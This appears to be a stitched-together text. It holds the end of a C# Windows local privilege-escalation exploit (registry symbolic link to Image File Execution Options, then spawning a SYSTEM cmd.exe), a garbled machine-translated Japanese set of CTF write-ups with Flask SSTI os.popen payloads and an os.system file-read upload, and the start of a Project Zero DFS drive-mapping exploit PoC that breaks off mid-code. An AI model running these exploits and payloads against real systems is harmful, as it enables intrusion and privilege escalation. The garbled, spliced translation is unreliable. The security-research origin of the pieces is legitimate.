    static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
    {      
      if (current_depth == maxdepth)
      {
        names.Add(String.Join(@"\", name_parts));
      }
      else
      {
        foreach (string subkey in rootkey.GetSubKeyNames())
        {
          using (RegistryKey key = rootkey.OpenSubKey(subkey))
          {            
            if (key != null)
            {              
              EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);              
            }
          }
        }
      }
    }

    static IEnumerable<string> GetValidDeviceNames()
    {
      List<string> names = new List<string>();
      using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
      {
        EnumKeys(rootkey, new string[0], names, 3, 0);
      }
      return names;
    }
    
    static RegistryKey OpenProfileKey(string name)
    {
      RegistryKey ret = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Hardware Profiles\0001\SYSTEM\CurrentControlSet\Enum");
      if (name != null)
      {
        try
        {
          return ret.OpenSubKey(name);
        }
        finally
        {
          ret.Close();
        }
      }
      else
      {
        return ret;
      }
    }

    static string FindFirstAccessibleDevice()
    {
      foreach (string device in GetValidDeviceNames())
      {
        try
        {            
          using (RegistryKey key = OpenProfileKey(device))
          {
            if (key == null)
            {
              return device;
            }          
          }
        }
        catch { }
      }

      return null;
    }

    [Flags]
    enum KeyCreateOptions
    {
      None = 0,
      NonVolatile = None,      
      Volatile = 1,      
      CreateLink = 2,
      BackupRestore = 4,
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    static extern int NtCreateKey(
      out IntPtr KeyHandle,
      GenericAccessRights DesiredAccess,
      [In] ObjectAttributes ObjectAttributes,
      int TitleIndex,
      [In] UnicodeString Class,
      KeyCreateOptions CreateOptions,
      out int Disposition);

    static SafeRegistryHandle CreateKey(SafeRegistryHandle rootkey, string path, AttributeFlags flags, KeyCreateOptions options)
    {
      using (ObjectAttributes obja = new ObjectAttributes(path, flags | AttributeFlags.CaseInsensitive, rootkey != null ? rootkey.DangerousGetHandle() : IntPtr.Zero))
      {
        IntPtr handle;
        int disposition = 0;
        StatusToNtException(NtCreateKey(out handle, GenericAccessRights.MaximumAllowed, obja, 0, null, options, out disposition));
        return new SafeRegistryHandle(handle, true);
      } 
    }

    enum RegistryKeyType
    {
      Link = 6,
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    static extern int NtSetValueKey(
      SafeRegistryHandle KeyHandle,
      UnicodeString ValueName,
      int TitleIndex,
      RegistryKeyType Type,
      byte[] Data,
      int DataSize);

    [DllImport("ntdll.dll")]
    static extern int NtDeleteKey(SafeRegistryHandle KeyHandle);

    static void DeleteSymbolicLink(SafeRegistryHandle rootkey, string path)
    {      
      using (SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenLink | AttributeFlags.OpenIf, KeyCreateOptions.None))
      {
        StatusToNtException(NtDeleteKey(key));
      }     
    }

    static SafeRegistryHandle CreateSymbolicLink(SafeRegistryHandle rootkey, string path, string target)
    {      
      SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenIf | AttributeFlags.OpenLink, KeyCreateOptions.CreateLink);
      try
      {
        UnicodeString value_name = new UnicodeString("SymbolicLinkValue");
        byte[] data = Encoding.Unicode.GetBytes(target);
        StatusToNtException(NtSetValueKey(key, value_name, 0, RegistryKeyType.Link, data, data.Length));
        SafeRegistryHandle ret = key;
        key = null;
        return ret;
      }
      finally
      {
        if (key != null)
        {
          NtDeleteKey(key);
        }
      }
    }

    static RegistryKey CreateDeviceKey(string device_name)
    {
      using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
        ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
      {
        CmApiOpenKeyData data = new CmApiOpenKeyData(0x211, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
        CmApiOpenKeyResult result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
        StatusToNtException(result.status);
        return RegistryKey.FromHandle(new SafeRegistryHandle(new IntPtr(result.handle), true));
      }
    }


    public enum TokenInformationClass
    {
      TokenSessionId = 12
    }

    [DllImport("ntdll.dll")]
    public static extern int NtClose(IntPtr handle);

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    public static extern int NtOpenProcessTokenEx(
          IntPtr ProcessHandle,
          GenericAccessRights DesiredAccess,
          AttributeFlags HandleAttributes,
          out IntPtr TokenHandle);

    public sealed class SafeKernelObjectHandle
  : SafeHandleZeroOrMinusOneIsInvalid
    {
      public SafeKernelObjectHandle()
        : base(true)
      {
      }

      public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
        : base(owns_handle)
      {
        SetHandle(handle);
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          NtClose(this.handle);
          this.handle = IntPtr.Zero;
          return true;
        }
        return false;
      }
    }

    public enum TokenType
    {
      Primary = 1,
      Impersonation = 2
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    public static extern int NtDuplicateToken(
    IntPtr ExistingTokenHandle,
    GenericAccessRights DesiredAccess,
    ObjectAttributes ObjectAttributes,
    bool EffectiveOnly,
    TokenType TokenType,
    out IntPtr NewTokenHandle
    );

    public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token)
    {
      IntPtr new_token;

      using (ObjectAttributes obja = new ObjectAttributes(null, AttributeFlags.None))
      {
        StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(),
          GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token));
        return new SafeKernelObjectHandle(new_token, true);
      }
    }

    public static SafeKernelObjectHandle OpenProcessToken()
    {
      IntPtr new_token;
      StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1),
        GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token));
      using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true))
      {
        return DuplicateToken(ret);
      }
    }

    [DllImport("ntdll.dll")]
    public static extern int NtSetInformationToken(
      SafeKernelObjectHandle TokenHandle,
      TokenInformationClass TokenInformationClass,
      byte[] TokenInformation,
      int TokenInformationLength);

    public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id)
    {
      byte[] buffer = BitConverter.GetBytes(session_id);
      NtSetInformationToken(token, TokenInformationClass.TokenSessionId,
        buffer, buffer.Length);
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
      public Int32 cb;
      public string lpReserved;
      public string lpDesktop;
      public string lpTitle;
      public Int32 dwX;
      public Int32 dwY;
      public Int32 dwXSize;
      public Int32 dwYSize;
      public Int32 dwXCountChars;
      public Int32 dwYCountChars;
      public Int32 dwFillAttribute;
      public Int32 dwFlags;
      public Int16 wShowWindow;
      public Int16 cbReserved2;
      public IntPtr lpReserved2;
      public IntPtr hStdInput;
      public IntPtr hStdOutput;
      public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
      public IntPtr hProcess;
      public IntPtr hThread;
      public int dwProcessId;
      public int dwThreadId;
    }

    enum CreateProcessFlags
    {
      CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
      CREATE_DEFAULT_ERROR_MODE = 0x04000000,
      CREATE_NEW_CONSOLE = 0x00000010,
      CREATE_NEW_PROCESS_GROUP = 0x00000200,
      CREATE_NO_WINDOW = 0x08000000,
      CREATE_PROTECTED_PROCESS = 0x00040000,
      CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
      CREATE_SEPARATE_WOW_VDM = 0x00000800,
      CREATE_SHARED_WOW_VDM = 0x00001000,
      CREATE_SUSPENDED = 0x00000004,
      CREATE_UNICODE_ENVIRONMENT = 0x00000400,
      DEBUG_ONLY_THIS_PROCESS = 0x00000002,
      DEBUG_PROCESS = 0x00000001,
      DETACHED_PROCESS = 0x00000008,
      EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
      INHERIT_PARENT_AFFINITY = 0x00010000
    }

    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
    static extern bool CreateProcessAsUser(
      IntPtr hToken,
      string lpApplicationName,
      string lpCommandLine,
      IntPtr lpProcessAttributes,
      IntPtr lpThreadAttributes,
      bool bInheritHandles,
      CreateProcessFlags dwCreationFlags,
      IntPtr lpEnvironment,
      string lpCurrentDirectory,
      ref STARTUPINFO lpStartupInfo,
      out PROCESS_INFORMATION lpProcessInformation);

    static void SpawnInteractiveCmd(int sessionid)
    {      
      SafeKernelObjectHandle token = OpenProcessToken();
      SetTokenSessionId(token, sessionid);

      STARTUPINFO startInfo = new STARTUPINFO();
      startInfo.cb = Marshal.SizeOf(startInfo);
      PROCESS_INFORMATION procInfo;

      CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe",
        IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo);
    }
    
    static bool DoExploit()
    {
      SafeRegistryHandle symbolic_link = null;
      
      try
      {
        string device_name = FindFirstAccessibleDevice();
        if (device_name != null)
        {
          Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
        }
        else
        {
          throw new ArgumentException("Couldn't find a valid device");
        }

        using (RegistryKey key = CreateDeviceKey(device_name))
        {
          StatusToNtException(NtDeleteKey(key.Handle));
        }

        Console.WriteLine("[SUCCESS]: Deleted leaf key");

        using (RegistryKey profile_key = OpenProfileKey(null))
        {          
          symbolic_link = CreateSymbolicLink(profile_key.Handle, device_name, 
            @"\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe");
        }

        Console.WriteLine("[SUCCESS]: Created symbolic link");
        using (RegistryKey key = CreateDeviceKey(device_name))
        {
          key.SetValue("Debugger", String.Format("\"{0}\" {1}", Assembly.GetCallingAssembly().Location, GetSessionId()));
          Console.WriteLine("[SUCCESS]: Created IFEO key");
          EventWaitHandle ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\{376693BE-1931-4AF9-8D56-C629F9094745}");
          Process p = Process.Start("schtasks", @"/Run /TN ""\Microsoft\Windows\Customer Experience Improvement Program\Consolidator""");
          ev.WaitOne();

          NtDeleteKey(key.Handle);
        } 
      }
      catch (Exception ex)
      {
        Console.WriteLine("[ERROR]: {0}", ex.Message);
      }
      finally
      {
        if (symbolic_link != null)
        {
          NtDeleteKey(symbolic_link);
        }
      }
      return false;
    }    
    
    static int GetSessionId()
    {
      using (Process p = Process.GetCurrentProcess())
      {
        return p.SessionId;
      }
    }    
    
    static void Main(string[] args)
    {    
      if (GetSessionId() > 0)
      {
        DoExploit();
      }
      else
      {
        Console.WriteLine("[SUCCESS]: Running as service");
        EventWaitHandle ev = EventWaitHandle.OpenExisting(@"Global\{376693BE-1931-4AF9-8D56-C629F9094745}", EventWaitHandleRights.Modify);
        ev.Set();
        if (args.Length > 1)
        {
          int session_id;
          if (!int.TryParse(args[0], out session_id))
          {
            session_id = 0;
          }
          SpawnInteractiveCmd(session_id);
        }
      }
    }
  }
}
            

質問名:simple_ssti_2質問wirteup:は疑問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスします。ページは、URL接続をFLAGパラメーターhttp://114.67.246.176:19131/1049983-20211215170753560-1742163934.pngに関連付けます。 SSTIコンストラクト、パラメーターコンストラクトフラグ={{3+2}}、エラーが報告されており、Flaskhttp://114.67.246.176:19131/?flag={{3+2}} 1049983-20211215170753973-1147925365.pngも{1049983-20211215170753973-1147925365.png {3*2を掲載している}を構築するために試行されました。システムにSSTIの脆弱性があることhttp://114.67.246.176:19131/?flag={{3*2}} 1049983-20211215170754373-1942425992.png構成変数を介してフラスコの構成情報を表示すると、利用可能な点はありません。 http://114.67.246.176336019131/?flag={{config}} 1049983-20211215170754937-1633019011.png pass {{config .__ class __.__ init __.__グローバル__ ['os']。表示するには1つずつ入力してください。私が見た最初のアプリフォルダーには、Flag ## __ Class__:変数が属するクラスを表示するために使用されることがわかりました。以前の変数フォームによると、それが属するクラスを取得できます。 ## __ init_ __クラスの初期化、返されたタイプは関数です## __グローバル__ []使用法は関数名です。__Globals__Globals__モジュール、メソッド、および関数が配置されている空間で使用できるすべての変数を取得します。 ## os.popen()メソッドは、コマンドからパイプラインを開くために使用されます。

## open()メソッドはファイルを開き、ファイルオブジェクトhttp://114.67.246.176:19131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./です。1049983-20211215170755329-1298923557.pngby {{config .__ class __.__ init __.__ Globals __ ['os']。popen( 'ls ./app')。read()}}アプリディレクトリのファイルを読み取り、フラグファイルがあることを見つけますhttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./app%27)。 config .__クラス__ .__ init __.__グローバル__ ['os']。popen( 'cat ./app/flag')。read()}} flag contenthttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27cat%20 ./app/app%27) flag:flag {fcf301ac393f22215b3664d749c2d875e}タイトル名:flask_fileupload question witeup:3http://114.67.246.176:12896/JPGおよびPNGファイル名フォーマットをアップロードすることができ、ファイルコンテンツはPython View-Source:33http://114.67.246.176:12896/1049983-20211215170756809-381737825.pngSystem機能が操作を命令に変換することができます。原則は、各システム関数が実行されると、システム上のコマンドラインを実行するための子プロセスを作成し、子プロセスの実行結果がメインプロセスに影響を与えることができないということです。 OS.SystemメソッドはOSモジュールの最も基本的な方法であり、他の方法は一般にこの方法に基づいてカプセル化されています。ここで、PythonのOSパッケージのシステム関数を使用してフラグを読み取ります。ここで、test.jpgをアップロードします。これは、WebサイトルートディレクトリインポートOSを読み取ります

os.system( 'ls /')

正常にアップロードし、ソースコードを確認し、システムWebサイトのルートディレクトリが存在することを見つけ、ルートディレクトリにフラグファイルが含まれていることがわかります

1049983-20211215170757165-1220690341.png 1049983-20211215170757525-1275849476.pngフラグを表示

OSをインポートします

os.system( 'cat /flag')

正常にアップロードし、ソースコードを確認し、フラグコンテンツ1049983-20211215170757927-2024492077.pngfinally flag:flag {e541f3aadc95575ed6b6832b7ca34e327}質問名:計算機質問コンテンツ:emply cublish cublect writefification you shine other other cultions chanios get to emoling need exigate need emain fist necisit need fish firtingフラグを取得するためのコード、F12要素のレビューに合格し、ソースコードにcode.js3333333334.67.246.1763:16139/1049983-20211215170758514-1404340057.pngView code.js、JS、FALGコンテンツ3http://114.67.246.176:1139/JS/js 1049983-20211215170758956-219692258.pngついにflag:flag {e5d6e3fe29850f7fec9ea6ef55f86050}質問名:質問コンテンツ:flag {}質問wirteup3360は質問シーンを開始し、射撃範囲のウェブサイトを取得します。 http://114.67.246.176:13678/1049983-20211215170759310-817204845.pngは、単純なコード監査を実行し、HTTPに渡すことを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。what=flag、flaghttp://114.67.246.176:13678/?what=flag 1049983-20211215170759684-1193150402.pngFLAG:FLAG {54790DBA4001F7DED2EBDE88CA82A3CAの質問:POSTS POSTES:POST POSTES:POST POSTES:シナリオ、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、PHPコードhttp://114.67.246.176:15053/1049983-20211215170800032-2036447816.pngが簡単なコード監査を実行し、HTTP投稿が渡されることを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。http://114.67.246.176:15053/post: what=flag flag 1049983-20211215170800356-892244501.png final flag:flag {4335DD4CC7627848578D8026FB121AE}

質問名:矛盾した質問の書き込み:は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、コードの簡単な分析を通じてPHPコード1049983-20211215170800678-284646805.pngであることがわかります。この関数は、変数が数字か文字列かを検出します。それが数字と文字列である場合、それはtrueを返し、それ以外の場合はfalseを返します。

このステートメントは、渡されるnumパラメーターが数値文字列ではなく、1に等しいことを意味します。

num==1の決定は2つの等しい兆候であり、弱いタイプの比較です。等記号の両側が異なる場合、比較前に同じタイプに変換されます。

弱いタイプの比較では、文字列が数字と比較されると、文字列は数字に変換され、文字の前に数値を保持します。たとえば、123AB7Cは123に変換され、AB7Cは0に変換されます(文字の前には数がありません、0です)。

http://114.67.246.176336016671/?num=1a

1049983-20211215170801086-1113500528.pngFINALLY FLAG:FLAG {D95C4676FD2740A47E0393CF3364E3E3 Windowhttp://114.67.246.176:15743/1049983-20211215170801469-1858378092.pngソースコードを介してアクセスし、Webページソースコードをチェックし、コメント1049983-20211215170801984-383310401.pngで#から#から#から始まる#から始まるユニコードエンコードがあることを発見しました。 http://tool.chinaz.com/tools/unicode.aspx 1049983-20211215170802645-1444347535.pngpinally flag:flag {09EEC7218F68C04C87093052720C2C11}写真1049983-20211215170803098-1838834946.pngページのソースコードをチェックして、フラグが見つかりませんでしたが、ページ1049983-20211215170803493-840973381.pngがブプセットを介してパケットを登録し、最終的に応答ページのフラグコンテンツを繰り返し送信し、最終的にデータパケットを送信し、最終的にデータパケットを送信し続けるSciptスクリプトがあります。 flag:flag {ff9acfa3bbec16fe29b3ad5aef8f5421}質問名:ソーシャルワーカー - 質問コンテンツの予備収集:実際にはその他のアイテムです。その年の実際的な質問から、私は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、それがドリルブラッシングWebサイトhttp://114.67.246.176:13506/#GOUMAI 1049983-20211215170804488-2120220421.jpgカタログスカンがYujianを介したターゲット射撃の範囲であることがわかりました。1049983-20211215170805031-1221335115.png Admin Directoryにアクセスし、実際にバックエンドがありました。 http://114.67.246.176336013506/admin/login.php 1049983-20211215170805472-324520940.png射撃場のホームページの下部にある場合、補助をダウンロードできます。ここでダウンロードできます。

image-20210531172109605

減圧後、仮想マシンで掘削プログラムを実行します。

image-20210531172614314

QQとパスワードを入力し、[開始]をクリックし、Wrisharkを使用してパケットを分析した後、ポップアップウィンドウを見つけました。

image-20210531173000092

パケットを慎重に観察すると、パケットメールとBase64暗号化されたパスがあることがわかります。

image-20210531173328676

base64の復号化はパスワードのように見えますが、長すぎますが、コードを承認したいと考えています。

image-20210531173713476

FOXMAILを開いてログインし、メールアドレスを入力してから、認証コードを入力してログインします。

image-20210531181535352

受信トレイを表示し、「トピック」でソートし、利用可能な情報が記載されたメールを見つけます

送信者がマラであることがわかります

配達時間は2021年で、今は20歳で、2001年に生まれると判断されることができます

また、それは2日前の誕生日だったと言われているので、誕生日は2月6日だと判断することができます

image-20210531174014354

ログインして入力してみてください:ユーザー名マラ、パスワードはMaryyの誕生日番号:20010206です

1049983-20211215170813635-1876128424.png

システムに正常にログインし、Webサイトの背景---プレーヤーキーのWebサイト設定を確認すると、フラグを取得できます

1049983-20211215170814122-809664510.png最後に、flag:flag {c4cba16a2fd5aedf2dddd90a6bd04f}質問名:game1質問wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup:撮影ウェブサイトを入手し、ウェブサイトにアクセスして、最高のスコアを取得することができます。ここでどのゲームもプレイできます。 http://114.67.246.176336017941/?s=1629731758384 1049983-20211215170814602-1834873374.jpgそして、ゲームが終了する前に、それはブプスーツによって分析され、結果はソースの3つのパラメーターの値に関連していることがわかりました。 http://114.67.246.176336017941/scor.php?score=50ip=183.221.17.223Sign=Zmnta===

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=885

Windows: DFS Client Driver Arbitrary Drive Mapping EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DFS Client driver and running by default insecurely creates and deletes drive letter symbolic links in the current user context leading to EoP.

Description:

The DFS Client driver is used to map DFS shares. The device path is accessible by a normal user and the two IOCTL DfscFsctrlCreateDriveLetter and DfscFsctrlRemoveDriveLetter are marked as FILE_ANY_ACCESS so even through we only have read permission on the device they’re allowed.

When mapping a DFS share the driver calls DfscCreateSymbolicLink to create a drive letter symbolic link. The drive letter is entirely under the user’s control and other than checking it’s a letter no other verification takes place. This function calls ZwCreateSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK meaning it disables access checking. As it’s creating the name \??\X: rather than an explicit directory we can use per-process device maps to trick the driver into creating the symbolic link in any directory the user has read access to (the only limit on setting a per-process device map).

In contrast when unmapping DfscDeleteSymbolicLink is called which calls ZwOpenSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK. This means we can delete any drive letter symbolic link by first mounting a DFS share with a drive letter we want to delete, then either removing the letter from our current user dos devices directory, or switching our per-process drive map to point to \GLOBAL?? then unmapping.

By combining the two we can do something like deleting the C: drive, then mounting a DFS share in its place and get some system level code to run something from the C: drive to get elevated privileges. We don’t even need to control the DFS share as once we’ve created the new C: drive symbolic link we have delete privileges on the object. We can use a behaviour of CSRSS’s DosDevice creation code which disables security if it can open the symbolic link for DELETE access while impersonating the user and the path to the link starts with \GLOBAL??. So we could redirect the C: drive link to any local location we like.

Worth nothing this is almost the exact same bug I found in Truecrypt (https://bugs.chromium.org/p/project-zero/issues/detail?id=538). At least they tried to not mount over existing drive letters requiring more effort :-)

I’ve not been able to work out if it’s possible to do this without requiring a DFS share (although for an internet connected system you might be able to point it at almost anywhere). I also don’t know if it needs to be domain joined, the driver is running though on a normal system. It seems to fail verifying the credentials, at least pointed to localhost SMB service. But perhaps it’ll work somehow. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. You’ll need to have access to a DFS share somewhere, which might mean the test system needs to be domain joined. 

The PoC will just delete an existing drive mapping you specify. For example you could specify C: drive, although that’ll make the system not work so well afterwards. 

1) Compile the C# source code file.
2) Execute the poc passing the path to an existing DFS share and the drive letter to delete e.g. poc \\server\share X:
3) It should successfully delete the drive letter from \GLOBAL??. 

Expected Result:
Create drive letter anywhere the user can’t normally access should fail

Observed Result:
The user can create and delete arbitrary global drive letters.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0020,
            MaximumAllowed = GenericAccessRights.MaximumAllowed
        };

        [Flags]
        public enum FileAccessRights : uint
        {
            None = 0,
            ReadData = 0x0001,
            WriteData = 0x0002,
            AppendData = 0x0004,
            ReadEa = 0x0008,
            WriteEa = 0x0010,
            Execute = 0x0020,
            DeleteChild = 0x0040,
            ReadAttributes = 0x0080,
            WriteAttributes = 0x0100,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtOpenFile(
            out IntPtr FileHandle,
